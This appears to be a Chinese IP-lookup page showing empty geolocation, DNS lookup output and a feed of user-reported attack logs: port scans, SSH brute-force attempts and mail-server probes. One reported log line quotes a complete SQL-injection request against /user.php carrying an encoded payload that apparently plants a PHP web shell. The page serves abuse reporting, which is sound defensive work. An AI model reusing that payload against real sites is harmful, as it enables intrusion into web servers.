必须是合法有效的IP地址, 可以是IPv4或者是IPv6, 例如127.0.0.1或者2001:DB8:0:0:8:800:200C:417A
基本信息:

城市(city): unknown

省份(region): unknown

国家(country): None

运营商(isp): unknown

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:
暂无关于此IP的讨论, 沙发请点上方按钮
相同子网IP讨论:
暂无关于此IP所属子网相关IP的讨论.
WHOIS信息:
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DIG信息:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.21.91.75
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 30156
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.21.91.75.			IN	A

;; AUTHORITY SECTION:
.			543	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022022000 1800 900 604800 86400

;; Query time: 16 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Feb 20 20:57:26 CST 2022
;; MSG SIZE  rcvd: 105
HOST信息:
Host 75.91.21.104.in-addr.arpa. not found: 3(NXDOMAIN)
NSLOOKUP信息:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 75.91.21.104.in-addr.arpa: NXDOMAIN
相关IP信息:
最新评论:
IP 类型 评论内容 时间
49.145.253.194 attackbots
445/tcp 445/tcp 445/tcp...
[2019-06-30]5pkt,1pt.(tcp)
2019-06-30 15:11:33
202.88.241.107 attackspam
ssh bruteforce or scan
...
2019-06-30 14:56:22
89.245.247.138 attackbotsspam
9000/tcp
[2019-06-30]1pkt
2019-06-30 15:16:47
82.185.46.242 attackspam
Jun 30 07:17:42 nextcloud sshd\[30531\]: Invalid user eden from 82.185.46.242
Jun 30 07:17:42 nextcloud sshd\[30531\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.185.46.242
Jun 30 07:17:44 nextcloud sshd\[30531\]: Failed password for invalid user eden from 82.185.46.242 port 11481 ssh2
...
2019-06-30 14:29:54
37.210.207.101 attack
60001/tcp
[2019-06-30]1pkt
2019-06-30 15:18:54
41.230.83.2 attackbotsspam
37215/tcp
[2019-06-30]1pkt
2019-06-30 14:58:39
189.91.6.16 attackspambots
failed_logins
2019-06-30 14:43:42
45.114.166.109 attack
Jun 30 12:07:58 our-server-hostname postfix/smtpd[17180]: connect from unknown[45.114.166.109]
Jun x@x
Jun 30 12:07:59 our-server-hostname postfix/smtpd[17180]: lost connection after RCPT from unknown[45.114.166.109]
Jun 30 12:07:59 our-server-hostname postfix/smtpd[17180]: disconnect from unknown[45.114.166.109]
Jun 30 12:08:07 our-server-hostname postfix/smtpd[19576]: connect from unknown[45.114.166.109]
Jun x@x
Jun 30 12:08:08 our-server-hostname postfix/smtpd[19576]: lost connection after RCPT from unknown[45.114.166.109]
Jun 30 12:08:08 our-server-hostname postfix/smtpd[19576]: disconnect from unknown[45.114.166.109]
Jun 30 12:10:05 our-server-hostname postfix/smtpd[19682]: connect from unknown[45.114.166.109]
Jun x@x
Jun 30 12:10:07 our-server-hostname postfix/smtpd[19682]: lost connection after RCPT from unknown[45.114.166.109]
Jun 30 12:10:07 our-server-hostname postfix/smtpd[19682]: disconnect from unknown[45.114.166.109]
Jun 30 12:10:44 our-server-hostname pos........
-------------------------------
2019-06-30 15:10:39
221.235.9.55 attackspambots
2019-06-30T06:19:38.898801lon01.zurich-datacenter.net sshd\[14288\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=221.235.9.55  user=root
2019-06-30T06:19:40.650948lon01.zurich-datacenter.net sshd\[14288\]: Failed password for root from 221.235.9.55 port 44321 ssh2
2019-06-30T06:19:42.970877lon01.zurich-datacenter.net sshd\[14288\]: Failed password for root from 221.235.9.55 port 44321 ssh2
2019-06-30T06:19:45.575734lon01.zurich-datacenter.net sshd\[14288\]: Failed password for root from 221.235.9.55 port 44321 ssh2
2019-06-30T06:19:47.899998lon01.zurich-datacenter.net sshd\[14288\]: Failed password for root from 221.235.9.55 port 44321 ssh2
...
2019-06-30 14:36:29
110.54.242.64 attackspam
445/tcp
[2019-06-30]1pkt
2019-06-30 14:45:47
118.161.12.76 attackbots
37215/tcp
[2019-06-30]1pkt
2019-06-30 15:17:12
112.161.29.51 attackspam
2019-06-30T07:39:45.142605test01.cajus.name sshd\[2178\]: Invalid user vbox from 112.161.29.51 port 50950
2019-06-30T07:39:45.162526test01.cajus.name sshd\[2178\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.161.29.51
2019-06-30T07:39:47.501028test01.cajus.name sshd\[2178\]: Failed password for invalid user vbox from 112.161.29.51 port 50950 ssh2
2019-06-30 14:55:17
185.153.180.63 attackbotsspam
185.153.180.63 - - [30/Jun/2019:02:45:52 -0400] "GET /user.php?act=login HTTP/1.1" 301 250 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:288:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A325A6B5A334575634768774A79776E50443977614841675A585A686243676B583142505531526262475678645630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/*";}" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)"
...
2019-06-30 15:13:01
23.244.77.178 attack
445/tcp
[2019-06-30]1pkt
2019-06-30 14:32:50
36.230.210.163 attackbotsspam
37215/tcp
[2019-06-30]1pkt
2019-06-30 15:14:08

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